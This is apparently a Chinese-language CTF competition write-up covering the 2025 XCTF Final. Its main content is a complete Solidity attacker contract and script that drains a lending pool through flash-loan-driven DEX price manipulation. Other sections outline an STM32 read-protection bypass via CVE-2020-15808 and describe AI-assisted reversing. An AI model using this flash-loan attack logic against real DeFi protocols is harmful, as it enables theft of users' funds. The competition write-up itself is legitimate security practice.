Logo
Overview

2025 XCTF Final 题解

October 27, 2025

Day -1

比赛前几天就到这附近了(江浙沪就是附近!),去参加了下GEEKCON 2025。看了些DARKNAVY做的比较有意思的安全披露和挑战,印象比较深的有Web3钱包的攻击之类的。但是不给底层原理的这个会议其实没有那么有趣。(当然如果给底层原理也就不会有下面这条了)

Day 1

这场比赛算是,对于AI感知最大的一场了…?

Misc - Warp Finance

比较简单(?的闪电贷套利。今年初的VNCTF 2025才出过一个类似的,同样ethernaut也有类似的题目。打开claude code试一试,结果它还真给出了一个能用的脚本。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;

import "forge-std/Script.sol";
import "forge-std/console.sol";
import "../src/Setup.sol";
import "./Attacker.sol";
import "./SimpleAttacker.sol";

contract SolveScript is Script {
    Setup public setup;
    Attacker public attacker;
    SimpleAttacker public simpleAttacker;
    
    function run() external {
        // Setup the environment
        vm.startBroadcast();
        
        // Deploy Setup contract
        setup = Setup(0x41b819454066A782d933b66FB128A2962E842649);
        // setup = new Setup();
        console.log("Setup deployed at:", address(setup));
        
        // Deploy Simple Attacker contract  
        simpleAttacker = new SimpleAttacker(address(setup));
        console.log("SimpleAttacker deployed at:", address(simpleAttacker));
        
        // Log initial state
        console.log("=== Initial State ===");
        console.log("Pool stable balance:", setup.stableToken().balanceOf(address(setup.pool())));
        console.log("Player stable balance:", setup.stableToken().balanceOf(msg.sender));
        console.log("Flash minter balance:", setup.stableToken().balanceOf(address(setup.flashMinter())));
        console.log("Is solved before attack:", setup.isSolved());
        
        // Get DEX reserves before attack
        (uint112 reserve0Before, uint112 reserve1Before) = setup.dex().getReserves();
        console.log("DEX reserves before - Collateral:", reserve0Before, "Stable:", reserve1Before);
        
        // Execute the attack
        console.log("\n=== Executing Attack ===");
        simpleAttacker.attack();
        
        // Check balances after attack
        console.log("\n=== Post-Attack State ===");
        console.log("Pool stable balance:", setup.stableToken().balanceOf(address(setup.pool())));
        console.log("Player stable balance:", setup.stableToken().balanceOf(msg.sender));
        console.log("SimpleAttacker stable balance:", setup.stableToken().balanceOf(address(simpleAttacker)));
        
        // Get DEX reserves after attack
        (uint112 reserve0After, uint112 reserve1After) = setup.dex().getReserves();
        console.log("DEX reserves after - Collateral:", reserve0After, "Stable:", reserve1After);
        
        // Check if solved
        console.log("Is solved after attack:", setup.isSolved());
        
        // Verify target conditions
        uint256 poolBalance = setup.stableToken().balanceOf(address(setup.pool()));
        uint256 playerBalance = setup.stableToken().balanceOf(msg.sender);
        
        console.log("\n=== Target Verification ===");
        console.log("Target pool balance:", setup.TARGET_POOL_BALANCE());
        console.log("Actual pool balance:", poolBalance);
        console.log("Target player balance:", setup.TARGET_PLAYER_BALANCE());
        console.log("Actual player balance:", playerBalance);
        
        bool poolCondition = poolBalance <= setup.TARGET_POOL_BALANCE();
        bool playerCondition = playerBalance >= setup.TARGET_PLAYER_BALANCE();
        
        console.log("Pool condition met:", poolCondition);
        console.log("Player condition met:", playerCondition);
        console.log("Challenge solved:", poolCondition && playerCondition);
        
        vm.stopBroadcast();
    }
    
    // Alternative function to run attack on existing setup
    function runWithExistingSetup(address setupAddress) external {
        vm.startBroadcast();
        
        setup = Setup(setupAddress);
        console.log("Using existing Setup at:", setupAddress);
        
        // Deploy SimpleAttacker contract
        simpleAttacker = new SimpleAttacker(setupAddress);
        console.log("SimpleAttacker deployed at:", address(simpleAttacker));
        
        // Log initial state
        console.log("=== Initial State ===");
        console.log("Pool stable balance:", setup.stableToken().balanceOf(address(setup.pool())));
        console.log("Player stable balance:", setup.stableToken().balanceOf(msg.sender));
        console.log("Is solved before attack:", setup.isSolved());
        
        // Execute the attack
        console.log("\n=== Executing Attack ===");
        simpleAttacker.attack();
        
        // Check final state
        console.log("\n=== Final State ===");
        console.log("Pool stable balance:", setup.stableToken().balanceOf(address(setup.pool())));
        console.log("Player stable balance:", setup.stableToken().balanceOf(msg.sender));
        console.log("Is solved:", setup.isSolved());
        
        vm.stopBroadcast();
    }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;

import "../src/Setup.sol";
import "../src/core/WarpDexPair.sol";
import "../src/core/WarpLendingPool.sol";
import "../src/utils/StableFlashMinter.sol";
import "../src/tokens/MockERC20.sol";

contract SimpleAttacker {
    Setup public setup;
    MockERC20 public collateralToken;
    MockERC20 public stableToken;
    WarpDexPair public dex;
    WarpLendingPool public pool;
    StableFlashMinter public flashMinter;
    
    address public owner;
    
    constructor(address _setup) {
        setup = Setup(_setup);
        collateralToken = setup.collateralToken();
        stableToken = setup.stableToken();
        dex = setup.dex();
        pool = setup.pool();
        flashMinter = setup.flashMinter();
        owner = msg.sender;
    }
    
    function attack() external {
        require(msg.sender == owner, "Only owner can attack");
        
        // Claim initial tokens first
        setup.claim();
        
        // Execute multiple flash loans to extract maximum value
        for (uint256 i = 0; i < 5; i++) {
            uint256 available = stableToken.balanceOf(address(flashMinter));
            if (available > 1 ether) {
                bytes memory data = abi.encode(i);
                flashMinter.flashBorrow(available, data);
            } else {
                break;
            }
        }
        
        // Final cleanup: withdraw any remaining collateral
        _finalCleanup();
    }
    
    function onFlashLoan(uint256 amount, uint256 fee, bytes calldata data) external {
        require(msg.sender == address(flashMinter), "Only flash minter can call");
        
        uint256 round = abi.decode(data, (uint256));
        
        // Calculate repayment amount
        uint256 repayAmount = amount + fee;
        
        if (round == 0) {
            // First round: major price manipulation and pool draining
            _firstRoundAttack(amount, repayAmount);
        } else {
            // Subsequent rounds: extract more value from collateral
            _extractMoreValue(amount, repayAmount);
        }
        
        // Always ensure repayment
        _ensureRepayment(repayAmount);
        
        // Transfer any remaining profit to owner
        uint256 profit = stableToken.balanceOf(address(this));
        if (profit > 0) {
            stableToken.transfer(owner, profit);
        }
    }
    
    function _firstRoundAttack(uint256 amount, uint256 repayAmount) internal {
        // Use most of flash loan for price manipulation
        uint256 manipulationAmount = (amount * 98) / 100; // 98% for manipulation
        
        // Swap to get collateral at low price
        stableToken.approve(address(dex), manipulationAmount);
        uint256 collateralReceived = dex.swap(
            address(stableToken),
            manipulationAmount,
            0,
            address(this)
        );
        
        // Deposit all collateral to maximize borrowing power
        collateralToken.approve(address(pool), collateralReceived);
        pool.depositCollateral(collateralReceived);
        
        // Borrow everything possible from the pool
        uint256 poolBalance = stableToken.balanceOf(address(pool));
        (,uint256 maxBorrowable,) = pool.accountStatus(address(this));
        
        uint256 borrowAmount = maxBorrowable < poolBalance ? maxBorrowable : poolBalance;
        if (borrowAmount > 0) {
            pool.borrow(borrowAmount);
        }
    }
    
    function _extractMoreValue(uint256 amount, uint256 repayAmount) internal {
        // For later rounds, focus on extracting value from our collateral position
        uint256 collateralDeposited = pool.collateralDeposits(address(this));
        uint256 currentDebt = pool.debt(address(this));
        
        if (collateralDeposited > 0) {
            // Calculate how much we can safely withdraw
            (uint256 collateralValue,,) = pool.accountStatus(address(this));
            
            // Minimum collateral value needed to maintain position
            uint256 minCollateralValue = (currentDebt * 1e18) / pool.COLLATERAL_FACTOR();
            
            if (collateralValue > minCollateralValue) {
                // We can withdraw some excess collateral
                uint256 excessValue = collateralValue - minCollateralValue;
                uint256 currentPrice = dex.spotPrice(address(collateralToken));
                uint256 maxWithdraw = (excessValue * 1e18) / currentPrice;
                
                // Withdraw with safety margin
                maxWithdraw = (maxWithdraw * 90) / 100;
                
                if (maxWithdraw > 0 && maxWithdraw <= collateralDeposited) {
                    pool.withdrawCollateral(maxWithdraw);
                    
                    // Sell the withdrawn collateral
                    collateralToken.approve(address(dex), maxWithdraw);
                    dex.swap(
                        address(collateralToken),
                        maxWithdraw,
                        0,
                        address(this)
                    );
                }
            }
            
            // Try to do another round of price manipulation with available funds
            uint256 availableForManipulation = stableToken.balanceOf(address(this));
            if (availableForManipulation > repayAmount + 100 ether) {
                uint256 manipAmount = availableForManipulation - repayAmount - 50 ether;
                
                // Another round of price manipulation
                stableToken.approve(address(dex), manipAmount);
                uint256 newCollateral = dex.swap(
                    address(stableToken),
                    manipAmount,
                    0,
                    address(this)
                );
                
                // Deposit and borrow again
                collateralToken.approve(address(pool), newCollateral);
                pool.depositCollateral(newCollateral);
                
                (,uint256 newMaxBorrow,) = pool.accountStatus(address(this));
                uint256 additionalBorrow = newMaxBorrow - currentDebt;
                
                uint256 poolBalance = stableToken.balanceOf(address(pool));
                if (additionalBorrow > 0 && additionalBorrow <= poolBalance) {
                    pool.borrow(additionalBorrow);
                }
            }
        }
    }
    
    function _ensureRepayment(uint256 repayAmount) internal {
        uint256 currentBalance = stableToken.balanceOf(address(this));
        
        if (currentBalance < repayAmount) {
            uint256 shortage = repayAmount - currentBalance;
            
            // Withdraw collateral to cover shortage
            (uint112 reserve0, uint112 reserve1) = dex.getReserves();
            uint256 collateralNeeded = (shortage * uint256(reserve0) * 110) / (uint256(reserve1) * 100);
            
            uint256 availableCollateral = pool.collateralDeposits(address(this));
            if (collateralNeeded > availableCollateral) {
                collateralNeeded = availableCollateral;
            }
            
            if (collateralNeeded > 0) {
                pool.withdrawCollateral(collateralNeeded);
                collateralToken.approve(address(dex), collateralNeeded);
                dex.swap(
                    address(collateralToken),
                    collateralNeeded,
                    0,
                    address(this)
                );
            }
        }
        
        // Repay the flash loan
        stableToken.transfer(address(flashMinter), repayAmount);
    }
    
    function _finalCleanup() internal {
        // Extract any remaining collateral value
        uint256 remainingCollateral = pool.collateralDeposits(address(this));
        uint256 currentDebt = pool.debt(address(this));
        
        if (remainingCollateral > 0) {
            // Try to withdraw remaining collateral if debt allows
            if (currentDebt == 0) {
                // No debt, can withdraw everything
                pool.withdrawCollateral(remainingCollateral);
                collateralToken.approve(address(dex), remainingCollateral);
                dex.swap(
                    address(collateralToken),
                    remainingCollateral,
                    0,
                    owner
                );
            } else {
                // Calculate safe withdrawal amount
                (uint256 collateralValue,,) = pool.accountStatus(address(this));
                uint256 minRequired = (currentDebt * 1e18) / pool.COLLATERAL_FACTOR();
                
                if (collateralValue > minRequired) {
                    uint256 excessValue = collateralValue - minRequired;
                    uint256 currentPrice = dex.spotPrice(address(collateralToken));
                    uint256 withdrawable = (excessValue * 1e18) / currentPrice;
                    withdrawable = (withdrawable * 95) / 100; // Safety margin
                    
                    if (withdrawable > 0 && withdrawable <= remainingCollateral) {
                        pool.withdrawCollateral(withdrawable);
                        collateralToken.approve(address(dex), withdrawable);
                        dex.swap(
                            address(collateralToken),
                            withdrawable,
                            0,
                            owner
                        );
                    }
                }
            }
        }
        
        // Transfer any remaining stable tokens to owner
        uint256 remainingStable = stableToken.balanceOf(address(this));
        if (remainingStable > 0) {
            stableToken.transfer(owner, remainingStable);
        }
    }
    
    // Check if attack was successful
    function checkSuccess() external view returns (bool) {
        return setup.isSolved();
    }
}

于是拿了一血。

Misc - GhostTunnel

这个比较有意思的一个golang实现的tunnel,但是第一问被非预期了——给了core dump,strings搜一下就拿到flag的base64了。Revenge其实就是把这个字符串删了…

如果正常来做的话,首先观察发现是upx的,想办法脱壳:(尝试用qiling跑模拟,调了半天发现upx可以直接解)而后拖入ida观察发现有这样的定义_golang,也能找到一些golang风格的调用。

‣用了这个软件拿到了golang的符号,大概(用AI)看了眼发现了主要逻辑的位置,没往后逆了,过几天看看有没有空补上。预期做法大概是从core dump里拿密钥,然后再解密流量拿flag。不过最后是零解,想必也不是很简单了。

Reverse - Rewrite it in Rust

一个wasm,js里没啥内容??主要逻辑都在wasm二进制里,怎么还是rust。。。尝试用ida mcp做了会还真吐出来了flag。

Realworld - STM32-MorseCode

一块开发版,要求是在Pin C13上敲XCTF的morse 电码就给uid,然后把uid通过Mifare Classic Tool 写入就能在现场刷卡了

__   __ _____  _______  ______            ____    _____  _____
\ \ / // ____||__   __||  ____|          / __ \  / ____||  __ \
 \ V /| |        | |   | |__      \ /   | |  | || (___  | |__) |
  > < | |        | |   |  __|      X    | |  | | \___ \ |  _  /
 / . \| |____    | |   | |        / \   | |__| | ____) || | \ \
/_/ \_\\_____|   |_|   |_|               \____/ |_____/ |_|  \_\

[*] Welcome to XCTF Final 2025 ~
[0] The Attachment at https://github.com/xuanxuanblingbling/xctf_2025_final_rw_stm32
[1] Tap Morse code "XCTF" at PC13 (active low) to get the first NFC M1 Card UID !
[2] Use CVE-2020-15808 or Glitch Attack to bypass STM32F103 RDP1, get the second NFC M1 Card UID at 0x0800F000 !
Realworld - STM32-RDPBypass

和上面一样的一块STM32开发版。提示是用CVE-2020-15808或者Glitch Attack来绕过RDP level 1 读取,而后读取内存上的0x0800F000处的uid。

💡

RDP是Read Protection。在STM32中,flash和CPU,memory等固件被一起封装到MCU片中,这样我们就无法使用烧录夹来单独读取flash固件中的内容了(对比esp32?)。所以为了让在mcu中的flash也无法被读取,stm设计了一套读保护机制,在使用stlink或者jlink这类调试器时,系统不会允许读取flash中的内容。

于是RDP bypass就是用来读取这样内容的。

根据提示有两种方法,一种是Glitch Attack,我没用这个方法(其实就是没找到Orz)放一篇paper吧。

第二种是CVE,根据网上不算很多的信息能定位到一条推文——带有源码漏洞位置

以及一篇pdf

由此可以定位到相关的函数(其他地方应该也有,大概是a2这个结构体)

经过仔细比对确实是没有长度检查,对比后来的stm32库中的代码,在这个库中https://github.com/STMicroelectronics/stm32-mw-usb-device/blob/d1a9b6baeafc56053db3f8ac946c98e5aa925338/Class/CDC/Src/usbd_cdc.c

才添加了相对应的长度check,堵死了这个漏洞。

于是我们只需要用pyusb这类设备操作usb给stm32的硬件发送构造好的request,就能读取到数据的内容。

但是由于用脑过度没能做出来,遗憾。

💡

赛后出题人说用Glitch Attack的找他们借了设备的都被送了设备,彻底失败。

过几天复现了再发一篇文章😭

Day 2 AWD

原汁原味的AWD(存疑。

因为主要是web和pwn,没我什么事情,所以负责写脚本,批量化运行exp并提交flag。(乐

当然web小伙伴评价也是没什么参与感.jpg。把题目贴进chatgpt或者claude code,然后等一会就能看到攻击路径,然后写代码就好了。。。

但是比较新奇的是增加了可以看flag的流量包和其他选手的patch,所以这比awdp更有趣更刺激。

solo

solo是两位crypto小伙伴做的。在开始第一轮时我们是前4,所以24 - 12 我们没有打。而后是一个16 - 8。这场是crypto,没看。下面一场8 - 4 是 re, 同样用mcp扔给gpt是rc2,搓了脚本秒出。4 - 2 是vm,好消息是代码很短,稍微理一理逻辑,也不是很难的。

最后一个是pwn,对手是我们的pwn老大tplus(为什么在我们对面!),毫无疑问地输了。

END

燃尽了,睡酒店里还被蚊子咬了好多包!睡觉去了Orz

comment

留言 / 评论

如果暂时没有看到评论,请点击下方按钮重新加载。